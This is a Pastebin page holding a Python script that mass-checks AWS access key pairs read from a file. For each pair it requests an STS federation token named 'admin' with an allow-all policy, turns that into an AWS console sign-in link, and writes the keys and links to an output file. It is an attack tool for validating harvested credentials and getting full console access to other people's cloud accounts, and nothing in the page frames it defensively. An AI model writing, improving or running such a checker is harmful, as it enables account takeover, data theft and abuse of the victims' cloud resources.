Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import boto3
- import urllib.parse
- import json
- import urllib.request
- FEDERATION_URL = "https://signin.aws.amazon.com/federation?Action=getSigninToken&%s"
- SIGNIN_URL = "https://signin.aws.amazon.com/federation?Action=login&Destination=https://console.aws.amazon.com&SigninToken=%s"
- def check_credentials(access_key, secret_key):
- try:
- client = boto3.client(
- 'sts',
- aws_access_key_id=access_key,
- aws_secret_access_key=secret_key,
- region_name='us-east-1'
- )
- response = client.get_federation_token(
- Name='admin',
- Policy=json.dumps({
- "Version": "2012-10-17",
- "Statement": [
- {
- "Sid": "Stmt1",
- "Effect": "Allow",
- "Action": "*",
- "Resource": "*"
- }
- ]
- }),
- DurationSeconds=3600
- )['Credentials']
- return {
- "access_key": response['AccessKeyId'],
- "secret_key": response['SecretAccessKey'],
- "session_token": response['SessionToken'],
- "valid": True
- }
- except Exception as e:
- return {"valid": False, "error": str(e)}
- def get_console_url(access_key, secret_key):
- token = check_credentials(access_key, secret_key)
- if token["valid"]:
- try:
- url_data = urllib.parse.urlencode({"Session": token})
- with urllib.request.urlopen(FEDERATION_URL % url_data) as res:
- token = json.loads(res.read().decode("utf-8"))["SigninToken"]
- result = f"Access Key: {access_key}, Secret Key: {secret_key}, Console URL: {SIGNIN_URL % token}"
- print(result)
- return result
- except Exception as e:
- return str(e)
- else:
- result = f"Invalid credentials - Access Key: {access_key}, Secret Key: {secret_key}, Error: {token['error']}"
- print(result)
- return result
- def mass_checker(input_filename, output_filename):
- with open(input_filename, 'r') as input_file, open(output_filename, 'w') as output_file:
- for line in input_file:
- access_key, secret_key = line.strip().split(',')
- result = get_console_url(access_key, secret_key)
- output_file.write(result + '\n')
- if __name__ == '__main__':
- input_filename = input('Enter the filename containing AWS credentials (each line in the format "access_key,secret_key"): ')
- output_filename = input('Enter the filename to save the results: ')
- mass_checker(input_filename, output_filename)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement